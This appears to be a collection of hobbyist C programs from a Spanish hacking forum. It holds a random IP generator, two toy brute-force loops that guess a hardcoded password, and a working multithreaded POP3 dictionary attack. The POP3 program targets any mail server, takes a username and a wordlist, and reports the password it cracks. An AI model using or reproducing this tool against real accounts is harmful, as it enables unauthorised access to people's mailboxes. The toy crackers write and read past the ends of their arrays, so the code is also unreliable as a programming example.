#include <iostream.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
 unsigned int ip[4];
 printf("Generador de IPs aleatorias de 4 octetos por Rojodos\n\n");
 int i = 0;
 srand( (unsigned)time( NULL ) );
 while ( i < 4){
   ip[i] = rand()%255;
   i++;
 }
 printf ("IP generada: %d.%d.%d.%d\n", ip[0], ip[1],ip[2],ip[3]);
 return 0;
}

/* Algoritmo de Brute Force Basico en C
Original en Java: CrashCool
http://hackxcrack.com/phpBB2/viewtopic.php?t=7994
Convertido en C por Rojodos
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

int compara (char *cadena_a_chekear){
   char pass[] = {'9','1','1','o','o','o','\0'}; // 911ooo -> Password a Sacar
   return strcmp (cadena_a_chekear, pass);
   }


int main (){
   printf ("Algoritmo basico de Brute Force\n");
   printf ("Original en Java por CrashCool\n");
   printf ("Convertido en C por Rojodos\n");
   printf ("El programa trata de encontrar '911ooo' secuencialmente\n");
   printf ("Se puede cambiar en el Codigo Fuente\n");
   char Base[] = {'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
   int longitud = 36;
   char cadena[6];
   char pass;
   unsigned long int claves = 0;
   clock_t reloj, reloj2;
   float tiempo;
   int i,j,k,l,m,n;
   // Iniciamos Brute Force
   printf ("Iniciando Brute Force\n");
   reloj = clock();
   for (i = 0; i < longitud; i++){
       cadena[0] = Base[i];         
     for (j = 0; j < longitud; j++){
        cadena[1] = Base[j];
        for (k = 0; k < longitud; k++){
           cadena[2] = Base[k];
           for (l = 0; l < longitud; l++){
           cadena[3] = Base[l];
              for (m = 0; m < longitud; m++){
                 cadena[4] = Base[m];
                 for (n = 0; n < longitud; n++){
                    cadena[5] = Base[n];
    cadena[6]='\0';
    claves ++;
    // Chequeemos...
    if ( compara (cadena) == 0){
         reloj2 = clock();
         tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC;
         printf ("Password encontrado!\n\n");
         printf ("Clave = %s\n", cadena);
         printf ("Tiempo transcurrido = %f segundos\n", tiempo);
         printf ("Claves Generadas = %d\n", claves);
         exit(0);
         }
         }
         }
         }
         }
         }
    }     
    return 0;
}

#include <stdio.h>
#include <pthread.h>
#include <netdb.h>
   
#define NPT     60
#define BUFF    128
#define PORT    110

pthread_mutex_t mut = PTHREAD_MUTEX_INITIALIZER;
pthread_t thrd[NPT];
struct sockaddr_in addr;
FILE *fp;
char user[BUFF];
long int count = 0;

void cleanup(void) {
    fclose(fp);
    pthread_mutex_destroy(&mut);
    exit(0);
}   
       
void popc(char *pass) {
    char buff[BUFF];
    int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0)
        popc(pass);

    recv(sock, buff, BUFF, 0);
    memset(buff, 0, BUFF);

    send(sock, user, strlen(user), 0);
    recv(sock, buff, BUFF, 0);
    memset(buff, 0, BUFF);

    send(sock, pass, strlen(pass), 0);
    recv(sock, buff, BUFF, 0);

    close(sock);
    if(buff[0] == '+') {
        printf("\n%s", pass);
        cleanup();
    }

    pthread_mutex_lock(&mut);
    count++;
    pthread_mutex_unlock(&mut);
       
    printf("\rTRY %ld", count);
    fflush(stdout);
}   

void task(void) {
    char *c, buff[BUFF], pass[BUFF];
   
    while(1) {
        pthread_mutex_lock(&mut);
        if(fgets(buff, BUFF, fp) == NULL) {
            pthread_mutex_unlock(&mut);
            break;
        }
        pthread_mutex_unlock(&mut);
       
        if((c=strchr(buff, '\n')) != NULL)
            *c = '\0';
        sprintf(pass, "PASS %s\n", buff);
        popc(pass);
        memset(buff, 0, BUFF);
    }

    pthread_exit((void *)0);
}

int main(int argc, char *argv[]) {
    int i;
    struct hostent *hp;

    if(argc != 4) {
        printf("incorrect number of arguments, run as: %s domain user wordlist\n", argv[0]);
        return 1;
    }
    if((hp=gethostbyname(argv[1])) == NULL) {
        printf("host not found\n");
        return 1;
    }
    if((fp=fopen(argv[3], "r")) == NULL) {
        printf("cannot open wordlist\n");
        return 1;
    }

    addr.sin_family = AF_INET;
    memcpy(&addr.sin_addr, hp->h_addr, hp->h_length);
    addr.sin_port = htons(PORT);

    sprintf(user, "USER %s\n", argv[2]);
   
    pthread_mutex_init(&mut, NULL);
   
    for(i=0; i<NPT; i++)
        pthread_create(&thrd[i], NULL, (void *)task, NULL);
    for(i=0; i<NPT; i++)
        pthread_join(thrd[i], NULL);
    printf("\nPASS not found\n");
    cleanup();
}       

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>

#define pass "root"
clock_t reloj,reloj2;
unsigned long int claves;
int mostrar()
{
    float tiempo;
    tiempo = ((float)reloj2-(float)reloj)/CLOCKS_PER_SEC;
    printf("Clave encontrada \n");
    printf("Tiempo: %f\n",tiempo);
    printf("Claves usadas %ld",claves);
    exit(0);
    return 0;
}
int compara(char *cadena_a_comparar)
{
    return strcmp(cadena_a_comparar,pass);
}

int main()
{
    char base[]={'1','2','3','4','5','6','7','8','9','0','a','b','c','d','e',
     'f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x',
     'y','z'};
     
     int longitud=sizeof(base);
     char passwd[6];
     int k,h,g,f,d,s;
     claves=0;
     reloj=clock();
     passwd[1]='\0';
     for (k=0;k<=longitud;k++)
     {
         passwd[0]=base[k];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
     passwd[2]='\0';
     for (k=0;k<=longitud;k++){
     passwd[0]=base[k];
        for (h=0;h<=longitud;h++){
        passwd[1]=base[h];
        claves++;
        if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
     passwd[3]='\0';
     for (k=0;k<=longitud;k++){
     passwd[0]=base[k];
         for (h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for (g=0;g<=longitud;g++){
             passwd[2]=base[g];
             claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
     passwd[4]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         claves++;
          if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
      passwd[5]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         for(d=0;d<=longitud;d++){
         passwd[4]=base[d];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }
     passwd[6]='\0';
     for(k=0;k<=longitud;k++){
         passwd[0]=base[k];
         for(h=0;h<=longitud;h++){
         passwd[1]=base[h];
         for(g=0;g<=longitud;g++){
         passwd[2]=base[g];
         for(f=0;f<=longitud;f++){
         passwd[3]=base[f];
         for(d=0;d<=longitud;d++){
         passwd[4]=base[d];
         for(s=0;s<=longitud;s++){
         passwd[5]=base[s];
         claves++;
         if (compara(passwd)==0){
                                 reloj2=clock();
                                 mostrar();
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }
                                 }   
         
         
     return 0;
     }